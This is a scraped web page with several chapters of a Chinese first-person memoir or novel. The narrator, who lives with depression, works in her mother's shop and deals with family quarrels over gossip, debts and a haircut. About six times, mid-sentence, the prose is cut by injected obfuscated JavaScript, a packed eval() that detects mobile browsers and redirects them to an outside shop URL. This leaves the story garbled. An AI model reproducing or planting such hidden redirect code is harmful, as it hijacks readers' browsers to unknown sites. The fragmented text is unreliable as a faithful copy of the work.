原先在鱼池,她收养了几条流浪狗,其中一条,每天起早贪黑地陪着她,格外受她喜爱。这稍稍让我感到慰藉。心心对我亦常摇着尾巴,任由我扒拉。 我每天在店里用早饭,八点过后返回楼上,给脱兔做完早饭再补觉。十一点左右醒来,给自己炒个青菜咽饭,吃完开始学习。下午六点到店打扫卫生,帮妈妈跑腿购买新鲜小葱,择净后再剥几颗蒜。晚饭亦在店里吃,之后返回楼上。妈妈则继续洗刷设备,若是来了生意,照做不误,什么时候歇下来了,再闭店回家。 妈妈这一辈子吃的苦,比下不足,比上有余。照顾孩子和工作同时进行,虽不轻松,也只是少有助力。副业搞水产养殖,那是出于她自己的意愿,想要多赚些钱,不同于为了生计,吃谋生的苦。我上小学后,她彻底解放,不怎么操心我,亦不怎么顾家。她烧菜手艺不错,收拾东西也整洁到位,可多是兴起为之,无人对她抱有指望。我和爸爸的性格,相比听她骂骂咧咧,更愿意自己动手保得耳根清净。在杉湖读书的日子,都是爸爸下班后赶着买菜做饭,用洗衣机的时候,顺带捎上我的衣服。 妈妈这一生,从来没有伺候过人,若非因为我,本该安享晚年,何至于这般吃苦!我心中满是愧疚。 她已分作几笔,把钱转给了我。我没觉得轻松,反倒是妈妈,提了好几回:“你再没得挂念了,接下来一心一意好好准备考试。” 我点头应声,也是如此做。每天按部就班地跟着课程学习,课后画思维导图整理知识点,教辅书也已送到。岗位未定,我选了一套通用教材,题量就在那里,多考多做,少考少做。好大一箱书,还是妈妈用电动三轮车帮我从快递点运到楼下。 至于她和吕嵩群的事,依我看,并没有下文。吕嵩群并非傻子,年轻时条件不好,也凭自己的本事,早早在杉湖买了房。他家只吕婧康一个独生姑娘,对自己的女儿上心,只多不少,吕靖康亦进了体制内。前几年她调回武陵,才要了小孩,现在正可谓阖家欢乐。 若当初是吕嵩群有意在先,现在,风水轮流转,“叹落花有意,流水无情”,可怜人竟是妈妈。 16. 2025年6月,第23周 16 [2025年6月,第23周] 妈妈在店里既是员工又是老板,说不上随性,但下雨的时候,她不一定会去店里。 六月天容易跑暴,一天凌晨,闹钟还未响起,我收到妈妈的信息:“小翕,外面正在下暴雨,今天不用去店里,你安心睡觉啊!” 我听着屋外哗啦啦的流水声,关掉闹钟,再次入眠。 下午去到店里,妈妈正和隔壁卤菜店的小阿姨闲聊。雨还在下,街上的行人不多。 小阿姨比妈妈小个几岁,家里两个孩子,大一些的女儿已经工作,小儿子刚上初中。她和大舅妈都叫淑芬,妈妈觉得投缘,特意让我喊她小阿姨,显得亲热。 淑芬皮肤黝黑,身材干扁瘦小,一看就很精明。她不是本地人,和她大哥在这里搭伙做生意,兄长上午把菜卤好,她下午出摊,一直营业到后半夜。她家的店面只用来放杂物,卤菜摆在餐车上,来去倒也方便。 我要么在连锁店买卤菜,要么买肉回家自己加工。不过,淑芬家的卤菜看着挺卫生,我尝过一回,味道也不错。她老公不常在店里,说是打散工,妈妈看她晚饭没着落,饭做好后,经常分一些给她。妈妈还会把白天没卖完的豆浆拿给她,她也不介意,摊位空闲下来,便找妈妈聊天。 “小阿姨!”我和她打招呼。 她点点头。“你姑娘嘴巴真甜,”她对妈妈说。 我进到店里,等她们聊完。 过了一会,妈妈上来问我:“你有没有多余的橡皮筋?我之前买了一些,用着用着,就找不到了。” “我明天带给你。”我回答。 “那你自己还有没有用的呢?别给了我,你又去买。” 一次性小皮筋一买就是一盒,里面有上百根,得到猴年马月才能用完。 “我买的一次性小皮筋,家里多的是。每次用完就扔,买回家到现在,都看不出消耗。” “噫,真是奢侈!要是没有断,我可以一直用。” 照她那样,怕是能用到余下的皮筋老化。我腹诽道。 “你晚上想吃什么?”她问我。 之前晚上过来帮忙的时候,妈妈老说找一天一起出去吃大餐。那段时间,她一天不落地出摊,我则是投简历,紧接着面试,两个人都没得空闲。到店里帮工,两人每天都欠着瞌睡,不仅没有时间,更没有精力。恰逢今天天公作美。我便向她提议出去吃。 妈妈一听,脸上乐开了花。我俩一拍即合,随即关店准备离开。 锁好门,她低头看了眼自己的衣服,许是怕人笑话,她有些不好意思地问我:“要不要换一套?” 我们娘俩都是说干就干的主,穿的衣服都偏中性。今天起风吹到身上略微有些凉意,她还在短袖外面套了件运动风衣。 “我觉得挺好的,我不也是穿着T恤嘛!”她看着我面露微笑,两人往家楼下走去。 我不想坐她的车,也不想开她的车,便坚持我开车载她。她坐在后座,感慨这是老板专座,又挪动到中间,两手撑在前座上。我笑了笑,顺着她喊了声“姜老板”。 以往每次和她同车,多有龃龉。一路上,她说什么,我也都顺着。好在这次她没有要求我在红绿灯前,放手刹挂N档省油,不然,我不保证不起冲突。 正是饭点,恰逢周末,商场里人头攒动。我们在餐厅那层转了一圈,商量好去吃火锅,拿到号却发现得等两个钟头,果断放弃。 我提意吃烤鸭,那家店在我的印象里,价格不算便宜,不过,品质一直不错。之前一家人去吃过,也都觉得可以。她表示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301291|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞同。 取完号,我俩坐在门口,妈妈拿出手机刷短视频,我看着菜单,听着报号,盘算着前面还有几桌。 服务员把我们迎进去的时候,大厅人满为患。一桌还在收拾,就有人去前台报号,店里的边边角角,都摆满了桌子。 服务员把我和妈妈带到了最里面靠墙用挡板隔出来的一张桌子,我坐到长椅那边,桌子将将抵到胸前。妈妈坐在圆凳上,处境比我稍好。 我俩本想把雨伞放在桌子上,可那张圆桌太小,不得已,便放在了脚下。 过了一会,服务员过来录入点单,我报上店里主推的套餐,和妈妈定下小菜,可所有标注可选的都没得选。我们等了又等,从饮料、面点、青菜、排骨、烤鸭,一直上到鸭头,我意识到,这是一桌潦草又无味的全鸭宴。除了时蔬,都不用现做。 我已经饿过了头,每上一盘菜,都吃了一些。看着满是辣椒的干锅鸭头,我实在不想动筷子,妈妈却吃得津津有味。 我想起上回来这里,结账的时候,妈妈找服务员要了些山楂条,说有助于消化。我认为想吃可以去便利店买,爸爸也觉得不合适,我俩觉得丢人,只想赶紧离开。到了停车场,妈妈吃不完想扔掉,我拿出她小时候对待我的那一套,要求她为自己的行为负责,把山楂条吃完。犹记得她脸上露出几分好笑,却按我说的把山楂条吃完了。 唉,那些在当时自以为正确的行为,此刻,才被我察觉到过分。己所不欲,勿施于人,我一直如此要求自己。可要求别人做到自己可以做到的事,这也属于过分呐!我可以做到的,倘若源自旧日过分的要求,这一认知,让我更难自处。 这一回,我想好好维系和妈妈的母女关系。她渐渐老去,而我业已成年;她不再那么强势,我也非昔日那般无助。 17. 2025年6月,第24周 17 [2025年6月,第24周] 面试那段时间,心中无法抑制的恐慌本身,让我感到害怕。我因此停了药。晚上去店里帮忙,我将这个决定告诉妈妈,她肉眼可见的轻松和开心。 “我一直觉得你就不该吃这个药,你现在决定不吃了,好,很好。”妈妈这才表态。 我想,对于老一辈,抑郁症和精神出了问题没有太大不同。自己的女儿是个疯子,虽然看上去没有问题,妈妈内心还是难以接受。 我一直不知道她和小舅舅有什么矛盾,她不说,小舅舅也不会主动讲。直到我再次去到小舅舅家,得知那天暴雨,把小舅舅家给淹了。小舅舅本想咨询妈妈通下水的事宜,却发现她把他和小舅妈都拉黑了。 “你妈妈真是厉害呀,她找我们吵架,还把我们都拉黑了。”小舅妈忿忿不平,但也无可奈何。 她也就是感慨一番。我面上挂不住,没有多呆。 回头我就给妈妈发消息。 “小舅家下水会返上来,他们人生地不熟本来准备咨询下你,发现你删他们好友了。你要是认得通下水的师傅,能不能给他们介绍一下?” “小舅和你都蛮俏,但小舅还是那句话,你是他唯一的妹妹。他们家人其实蛮好,对我也特别好。你要不帮下忙,都是一家人,一笔写不出两个姜字。” “首先,下水这一块,我没有认得的人。其次,吵架这个事,一个巴掌拍不响。” “当时他要装修房子,我找他借钱想把隔壁买下,老了之后相互之间也有个照应,可他说什么也不愿意。后来你小舅伯从店门口过,我跟他打招呼他理都不理我,我会去哄他?” “你也少跟他们家来往,别什么事都和姜斯童说!大人说的话都是有道理的,我还能害你不成?” 我听着头大。心想,让他们兄妹俩自己掰扯去吧。 一天下午,我刚到店,妈妈劈头盖脸地骂我:“要你别什么事都和姜斯童说,现在好了,家家以为你精神有问题!” 我听了一怔,这都是哪跟哪儿!“又怎么了?”我一头雾水。 “我中午去家家屋里吃饭,走的时候,家家拉着我的胳膊,问你怎么了。她当时用手指着脑袋转圈,不是说你脑子有病是什么!” “我问她从哪里听说的,她说是姜斯童告诉她的。” 唉,我叹了口气,太阳穴有些发麻。 自我确诊CPTSD后,我告诉了姜斯童。那是我第一次和家里人吐诉发生在自己身上的事情。他安慰我:“现在人谁没个抑郁,工作、房贷、生养小孩,每个人的压力都有山那么大。为了生计,苦得吃、气得受,长此以往,心里多少有点毛病。” “干我这一行,一天得坐十来个小时,就一双手在那里动。我的颈椎和腰椎都不行了。像那种过劳死的,身上还不是一堆毛病。” “你心情不好就给我打电话,不要自己憋着。我不一定开解得了你,但你跟我说,心里总会舒服一些。” 所以,话应该是传岔了。我不觉得吃药有什么,因此,我没藏着掖着。可四处和人说会有不好的影响,姜斯童难道会不知?他此举,已是越俎代庖。而且,他明知我和外婆家有矛盾、不再来往,外婆这些年告知我的糟心事,我没有瞒着他。事实上,小舅舅家搬回榕潭,他还和我抱怨了许多。 我没和妈妈继续这个话题。晚些时候,我给姜斯童发消息,开门见山地问他:“你跟家家说我脑子不好使?” 他反而生气了:“这种话以后都不需要问我。” “我可没和她们说我在吃药。”我点出关键。 “那是我说的。我说你不想让她活了你就继续这样对她好了。” “有些事我都不和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301292|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们说,我也不和她们接触。”我好言相劝。 “你那天不喊她把她给气坏了,在我爸妈屋里瞎骂。我上回回去看她,她拉着我不停地说那些乱七八糟的事,我本来只是过去打个招呼,结果把我说生气了,我怼了她一顿。” “到你耳朵变成我说你脑子不好使。”他发了个又哭又笑的表情。 “你听听就完,难道还像我之前那样和她计较?” “那我也更生气了嘛!”他又发了个又哭又笑的表情。 “他们屋里并不是可以讲道理的地方,这回你知道了吧?” “算了。我也不想跟你说细节了,免得传来传去变味道了。” “她说就让她说,但很多事情没必要告诉她。她知道,就没有人不知道。” “我和你说我在吃药,是因为我并不觉得这有什么。而且你是我弟弟。” “我现在在榕潭,你想想乡下的民风是淳朴还是封闭?”我继续和他讲道理。 “我是想警告她不要再去烦你了,我甚至拿自己举例子,我说我不喝酒泄压比你也好不到哪去,这种情绪是控制不住的。” “算了,不说了。”他还鼓着气。 “你要是不想就少接触,心情不好就回家。我现在也不记仇了,算了。” “我跟谁都说你是我们家智商天花板,我怎么会说你脑子不好。我真是服了。” 我在家里听到的夸赞,基本出自姜斯童之口,或者小舅舅和姜斯童说,姜斯童转告给我。这是我在家拿到的少得可怜的认可之一。 “你个大嘴巴。”我调侃他。 “想她清醒时的好,然后敬而远之。”我点击发送。 “算了,无所谓了。” 事情已然清楚。我以前悟出一个道理,不想听到的话,就不要问。如果有了介怀,即使针尖对麦芒,也要把刺拔出来。 18. 回忆:先前与妈妈关系破裂的导火索 18 第二天下午我在店里的时候,大舅妈来了。 我和妈妈搬回榕潭不足一年,她又搬回了杉湖。之后再次搞水产养殖,一直折腾个不停。直到二三年她退休,把池塘退租,想搬回商业街。我心想,这是她的房子,哪里又有什么问题。 那个时候我在空窗期,为转岗虚幻做准备。搬回来之后,两个人半年吵了三回架,周期愈短,一次比一次激烈。她看不惯我在家无所事事的样子,还劝爸爸不要给我生活费,以此逼我出去上班。这条路行不通,她便隔三岔五地找茬。她那时的原话是:“你又不赚钱,我为什么要和你好好说话?” 一八年,我意识到,虽然自高中起,我不喜欢学校,可学校在我的生活中,一直充当着护身符的角色。上学期间,我大部分时间都在学校,与家人相处的时间,少之又少。 自儒伊辞职,搬回榕潭,那几年,我不时看望外婆,使得她有充足的机会和大把的时间用她这一生的糟心事,将我翻来覆去地糟践。 孝心是什么?是我对她敞开的大门。关怀是什么?是她用以捅向我的匕首。 吕嵩群之事,只是其中微不足道、不值一提的小事罢了。 后来,用以遗忘创伤的时间愈长,加之她当众放话:“你一个外姓,自然是外人。你妈妈她是我姑娘,肯定是自家人呀!” 我心理和生理上都产生了抵触,无法继续自欺欺人。 妈妈搬回来后,数次挑起争执,我一忍再忍,几近崩溃。她的脾性我并非不知道,可每日和吕嵩群消息不断,电话不停,若说一八年我对妈妈和吕嵩群的关系只是将信将疑,二三年这般,任谁看,哪里还说得过去? 最后一次吵架,我忍无可忍,让她搬出去。杉湖也好,外婆家的老房子也罢,只要不和我在一个屋檐下。 也是这一次,我不再和她那边的亲人往来。 姜斯童是个个例。网贷爆雷后,即使是同父母,我也不曾解释过。姜斯童却主动和我说了他的处境,对我做的错事,他没有责怪,也没有批判,话里话外全是理解。 从小到大,我和妈妈吵过无数次架。我冷战,她示弱,时间长了关系缓和,两人重归于好,循环往复。从不曾殃及他人。 最后一次吵架,源于外婆家装修。她们又让妈妈拿主意,外婆家装修完,妈妈想把家里的门也给换了。 自搬去杉湖,榕潭的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301293|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房十几年没有人住,窗户朽得颇为厉害,纱窗已换过一次,再次防不住蚊虫。我自己将就住,拿胶带也可应付。偏偏家里的防盗门质量特别好,锁芯不逊色于C级。前几年换锁,铰链处还上了油,除了看着旧点,没有任何问题。 妈妈却说,她打麻将输钱是门老旧的缘故,因此要换门。 “我没有问你的意见,我只是通知你。” “你住的,是我的房子。”她这般说。 说来也好笑,我和家里的大门相当有感情。在榕潭念小学,爸爸下班晚,妈妈基本不在家,大人给了我钥匙,都是自己给自己开门。搬回榕潭至今,又独自在老房住了好些年。老房是一家三口的家,更是我的家。而老房里最能象征家的,就是这扇防盗门,更别说这门还经久不衰。 数次吵架,从对妈妈的包容,到自伤。自她搬回来,和吕嵩群往来不断的消息和电话,成为了压垮我的最后一根稻草。最后一次战火,在这件不大也不小的事上,我选择维护了理,捍卫了自己的家。 自儒伊辞职,我和爸爸断绝往来,又在乡下屡考不中。表侄女出生不久,外婆就当面和我划清界限。我在心里放了把火,一齐烧了个干净。 19. 回忆:妈妈欠大舅妈钱 19 大舅一家一直和外公外婆住在一处。大舅不管事,在我小时候,他便只疼自家孩子。表哥结婚,他便多疼自家孙女。 外公去世后,外婆家的经济来源,是外婆的退休金,大小事务,多是妈妈做主。没有妈妈四处张罗,姜斯承结婚生子不会这么顺利,妈妈为人活泛,人情关系也得靠她走动。时间一长,她颐指气使,外婆不敢开罪她,便拿我当炮灰。 时至今日,我已想明白,自己之所谓成为垃圾桶,不过是外婆看不惯自己眼中的命贱之人在享福,而命贵之人在吃苦。一朝从云端跌落,八方都来踩上一脚,再寻常不过。 于是,外婆每每见我,便把陈年往事的苦一股脑地倾倒给我。她生命中有多少苦楚不好说,据我所知,她没有藏私。 往事说完了,就说点近的。说了我妈妈不好,还要说我爸爸不好。说了我爸爸不好,又接着说我爸爸那边的亲人不好。 妈妈再次搞养殖,一分钱没赚,把外公去世后分得的财产赔了个干净,又找大舅妈借钱,把大舅家的那一部分也给败了。这件事,到如今,大舅还被蒙在鼓里。这自然不是妈妈告诉我的。外婆没有借钱给妈妈,可她告诉我大舅妈借了钱。她不找妈妈要钱,却要我念大舅妈的好。 外婆的苦,都在我出生以前。我劝她老人家着眼现在,她装聋,越说越有劲。 我的妈妈不好,我的爸爸也不好,长辈之间的事,他们自己都解决不了,他们的父母也无可奈何。我一个晚辈,又能如何!我只能长久地生受着。父母百般不是,祖辈又苛责于我,我活像个多余! 至于妈妈欠了大舅妈的钱,大舅妈甘愿借,这其中,一分钱都没有用到我身上!这样的亏欠,怎能拿来敲打我的脊梁骨! 如果外婆是年纪大了,老糊涂了,才这般行事,我看不懂的,是大舅妈。 在榕潭上小学,我一天在外婆家吃两顿饭。要说恩情,这才是我一辈子都还不清的恩情。 多年后,我拿这一点戳妈妈心窝:“我在外婆家吃了那么多顿饭,相比你,大舅妈更像我的亲妈。” 妈妈一只耳朵进,一只耳朵出。可言者无心,听者有意,自那以后,大舅妈多次和我提及:“舅妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301294|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是妈,你就做我姑娘,好不好?” 大舅妈一直在家操持家务,想必大家觉得她是个明白人,才把财政大权交由她。可借钱这个事,倘若她不糊涂,为何不明白救急不救穷的道理?她手上的那笔钱,论理,属于他们家,属于大舅,她要动,也得问过大舅,而非如她所说,就当投资了。赚了钱还好说,若是亏了,家人之间如何算得清这笔帐?以她的眼光投资,事实证明,捅了篓子,不是吗? 而且,大舅的钱只管自己吃喝,大舅妈也没怎么上过班,表哥表嫂薪资微薄,外婆百年之后,家中如何维持,想想都觉得艰辛。更别提两个小侄女能从家中拿到何种保障。 妈妈霍霍不了别人,自然收手。可大舅妈这一参与,祸及两家。大舅家亏了钱;妈妈赔了钱,还欠了人情。而这个人情,除了用钱,又怎么还得清? 这一篓子烂事,在我爆雷以前,长期积压在我心头。 外婆和我划清界限后,我花了好些年,慢慢习惯这一认知,和她们家渐渐减少往来。 把妈妈赶出家放的那把火,亦是对我心灵的救赎。 20. 回忆:带表侄女出去吃饭 20 大舅妈做的另一件事,也很有意思。 在奶奶家小住时,大伯母常带我和溪辞外出吃饭。这是我年少时期的快乐时光,也是我父母职责缺位的其中一部分。 我一直想把自己童年时期欠缺的没有遗憾地给予自己的小孩,或者下一辈。也是这个原因,我理所应当地开车带表侄女出去玩。 我从没想过这是什么大事,将心比心,我以为即使不这么具体,也有人给予过我可以与之相比拟的好。 之前带她们看电影,还捎了大人,直到这一次,我单独带她俩去吃麦当劳。 我给两个小家伙点了餐,正吃着,其中一个想去卫生间。我不能将另外一个小孩留在座位,问过她意见,我把食物打包,将两个小家伙都带去了卫生间。 返程途中,大舅妈打了好几个电话,回到家,她和大舅都守在客厅,面上的焦急犹在,看到我们回来,转而变成欣喜。 “哎哟,看孃孃对你们多好,谢谢孃孃没有?”大舅妈接过两个小家伙,让她们道谢。 其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301295|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,到了表侄女这辈,喊个小姨就行。好比江璟的孩子,称呼上就是“翕翕小姨”,“溪辞小姨”。 我嗔怪大舅妈太客气,她却仍作感激不尽的姿态:“哎哟,这不行,你花了多少钱,我们把钱给你。” 这个时候,我才觉察到不对劲。上大学回榕潭,大舅妈尝试过给我车费。我想着她没有收入,向来都不要。至于外婆给的零花钱,工作后我才拒绝。一顿麦当劳多少钱,她何至于此? 我心里有些不舒服,没作停留,回了自己家。 21. 2025年6月,第24周 21 [2025年6月,第24周] 算上大舅妈,前后不到一个月,这是今年第二批上门送钱的了。 我自然没有接受。在这之前,我和大舅妈在路上碰到,她主动打招呼,我都没有理会。虽然我已与妈妈和好,却仍未和外婆家破冰。 大舅妈把钱递给我,在她的目光下,我第一次有了身为精神病人的自觉。那种绝不能从口中说出却泛滥在眼神的湿漉漉的同情和可惜。 她给出了得知我生病后最为合格的表现。我懒得理她,和妈妈示意,回到了楼上。 我一直把头发维持在刚过下巴的长度,堪堪可以扎起,又方便打理。 上次理发还是年初,到店帮工已至夏季,为了不影响工作,只得将头发扎起来。我有一些别扭。 也不知为何,理发之前,我询问妈妈意见。 “你这个长度蛮好,剪什么唦!”竟惹得她动怒。 妈妈总是将头发留长又剪短,现在正是不扎嫌热,扎起来费发卡的地步。 我有些胆怯,敲了退堂鼓。 以往每次去发廊,理发师总说头发扎得时间太长、变形得厉害,劝我做顺。二三年在家转岗虚幻,我已生出几分爱美之心。那时在家上课,不能披头散发,我又不想扎起来,为此很是斟酌了一番。而后网购了鲨鱼夹,一举两得。 继续用皮筋扎了几天头发,我仍觉得别扭,想跟妈妈商量。 “我还不了解你?都是从做伢过来的,读不进书,就想着剪头发!剪了头发你就能好好学习了?” “净做一些表面功夫!你要剪就去剪,拿了主意还问我作甚!” “你准备去哪里剪?要花多少钱?” 我知晓自己当下的处境,不能像之前那样消费,亦没有心情,开车出去理发。这个发型已维持许久,我不觉得还能遇上什么幺蛾子。 “榕潭的理发店你有办卡吧?我去那家剪。” 妈妈看了我一眼,没有立即回话,许是还未反应过来。 “知道万象造型在哪吗?”她问我。 我点点头。 “报我手机号就行。” 见她松了口,我把心吞回肚子里,和她告别离开。 去到杉湖后,我总向爸爸伸手要钱理发,剪得不好,也没什么好说的。原先在榕潭,则是妈妈管我。 下岗以后,妈妈总在麻将桌上。那时,我对洗头没什么概念,妈妈心生烦躁,便把我带去理发店,让理发师尽可能地剪短。 我天生自然卷,头发短到一定程度,它不会像其他人的那样耷拉着,而是尽可能地拱起来。于是,我喜提抗战神剧中常见的汉奸头。 妈妈给我剃平头的时候,我年纪还小,不大看得出性别。可顶着个汉奸头,愚钝如我,都能意识到丑。那一年,我已经是小学五年级的学生了。 总之,榕潭的理发师,不可对之放松警惕。 榕潭不止一家理发店,有男老板,也有女老板。妈妈在女老板家玩老虎机,照顾男老板生意,两不误。 印象中,男老板都给男性理发,生意也过得去;女老板还接烫染的活,生意通常更好,店面也更大。 虽然连锁理发店的女造型师也就一两个,可万象造型里看得见的只三两个中年男店员,还是让我吃了一惊。 店里看不见人抽烟,一股子烟味却散之不去。我小心翼翼地等候、洗头,隔壁座椅的洗头大姐正和大妈聊天,一个说着自家女儿为了换手机找了份暑期临时工,另一个见缝插针地给大妈推荐店里的充值活动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301296|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗完头,坐到椅子上,发型师问我有什么要求。 “稍微剪短一些,但要能够扎起来。”我回答。 他大概没有听过这种要求,留出了充分的长度。 “还可以再短有些。” “嗯……再短一些,我就不保证能够扎起来了咧!” “那按你比划地来吧。” 他咔咔几下把头发剪短到目标长度,然后一缕缕挑起,修剪发尾。从头到尾,他没用到牙剪,我也没提出打薄的要求。 拢共花的时间,一半都在等候。发型师用海绵扫了扫肩颈的碎发,理发到此结束。我已确认过会员价,三十元一次,不算贵也不算便宜。我报出妈妈的手机号,他在本子上比对,确认姓姜,就算记上了。 离开理发店,我没有直接回家,还有最后一关。 好在头发没剪多少。去到店里,妈妈看着成品,我此刻披着头发,让人耳目一新。 “再可以静下心来咧?”她抿着嘴巴,弯出弧度,挑着眉,斜着眼睛看向我,说道。 “嘿嘿。”我报之一笑。 “对了,你把照片发一张给我。”她似是想起什么。 “你要我照片干吗?”我问道。她从来不是记挂孩子的那类母亲。 “留着看呀,我姑娘女大十八变,我竟没有一张你的照片。” 我有几分警惕,但还是发给了她。 “你不要把照片发给别人,母女之间要互相尊重。”我叮嘱道。 “相信你的妈妈,知不知道?”她这样回复我。 我料想她不会干出太出格的事情,她虽然不在生活上照顾我,却也不曾有心害我。至于介绍相亲,我早早就和她打过预防针,让她别打我的主意,这么些年,她不曾在这件事上越界。 22. 2025年6月,第24周 22 [2025年6月,第24周] 十岁摆酒之后,家里才有意识给我过生日。炒几个我喜欢吃的菜,或是带我去吃快餐,到后来,演变成发红包了事。工作后,一应都无。当我意识到没有人对我的出生抱有期待,我不再过生日。近几年,也不会为他人生日送上祝福。 好吧,我承认,后者主要是因为有去无回。 我并非对生日无感。始于初三,生日那天,我会一个人出去吃饭、看电影。我知道生日这天对人很重要,我只是不想想起伤心事。 睡醒后,我去到榕潭唯一一家糕点坊,买了一块蛋糕,去到妈妈住的地方。她刚吃完午饭,还没有休息。 早上到店,我已祝她生日快乐。她没有想到我会来。虽然只是一块蛋糕,从她变亮的眼睛中,可以感受到她的开心。 “个乖乖,谢谢你呀!” 妈妈打开盒子,想让我吃第一口,我坚决不要。见状,她送到自己嘴巴,又拿出另一个叉子,切下一小块递到我嘴边,我不再拒绝。 “你今天有心啦!我很开心!” “那就好。” 回家路上,思绪有些泛滥。 提出不干虚幻这行,父母无一人反对。这本该是人生大事,可在个人意愿上,父母不曾阻拗过我。回顾我人生的重要决定,学理科,选择大学和计算机专业,他们一直全权让我做主。至于转行程序员,又调整方向到虚幻,只要我愿意闯,他们不曾说过一个“不”字。 我深知父母人生各有不易,即使他们没有做到,希望我这一生过得明净、和乐,仍是出自真心。我不能因为顺遂,就无视他们的包容与支持。 “岂能尽如人意,但求无愧我心” 。 我生平最怕后悔,因为无从挽回。当我意识到自己可能会后悔,硬着头皮也会去做。我说不上有什么后悔的事,从儒伊辞职不在其中,未从儒伊辞职才在其中。 之后的日子,偶有坎坷,我告诉自己,从事自己喜爱的职业,就该是难的。我知道决定之初自己对前路的艰险毫无概念,我亦深知结果不该反过来影响决定。 毕业去到儒伊,本是人生一大幸事。可是,出于想把命运掌握在自己手中的念头,我罔顾机缘,把饭桌给掀了。头一次,我对自己的决定产生了动摇,在命运面前,争夺主导权,是否因张狂而愚蠢,以至于落得如今这个不自量力的下场。如果我能看到今日,还会从儒伊辞职吗? “我一直觉得,后悔就是在欺负以前的自己。人不可能每一步都正确。我不想回头看,也不想批判当时的自己,没什么好抱怨的,我大大方方为我的认知买单,也没什么好自责的。”歌里这样说道。 而且,依我那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301297|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时不信邪的性格,大概只会唾弃现在的自己。现在的我重走老路也许还到不了如今这个位置,可那时的我有了前车之鉴,势必破釜沉舟。 罢了,我不再去假设。 把脱兔带回家,我看了许多讲述狗与人的羁绊的电影,如《马利与我》、《忠犬八公的故事》、《我在雨中等你》、《一条狗的使命》、《忠爱无言》、《导盲犬小Q》、《野性的呼唤》等。脱兔是个左撇子,这家伙干不来导盲犬。许是谁养的类谁,又或是缘分使然,脱兔与我脾性相合,一人一狗也能玩到一块去。万物皆有灵,拟人的写作手法,在于传达精神,更在于万物自有精神来承载。人心有外物左右,其他生命之心却无转移若磐石。 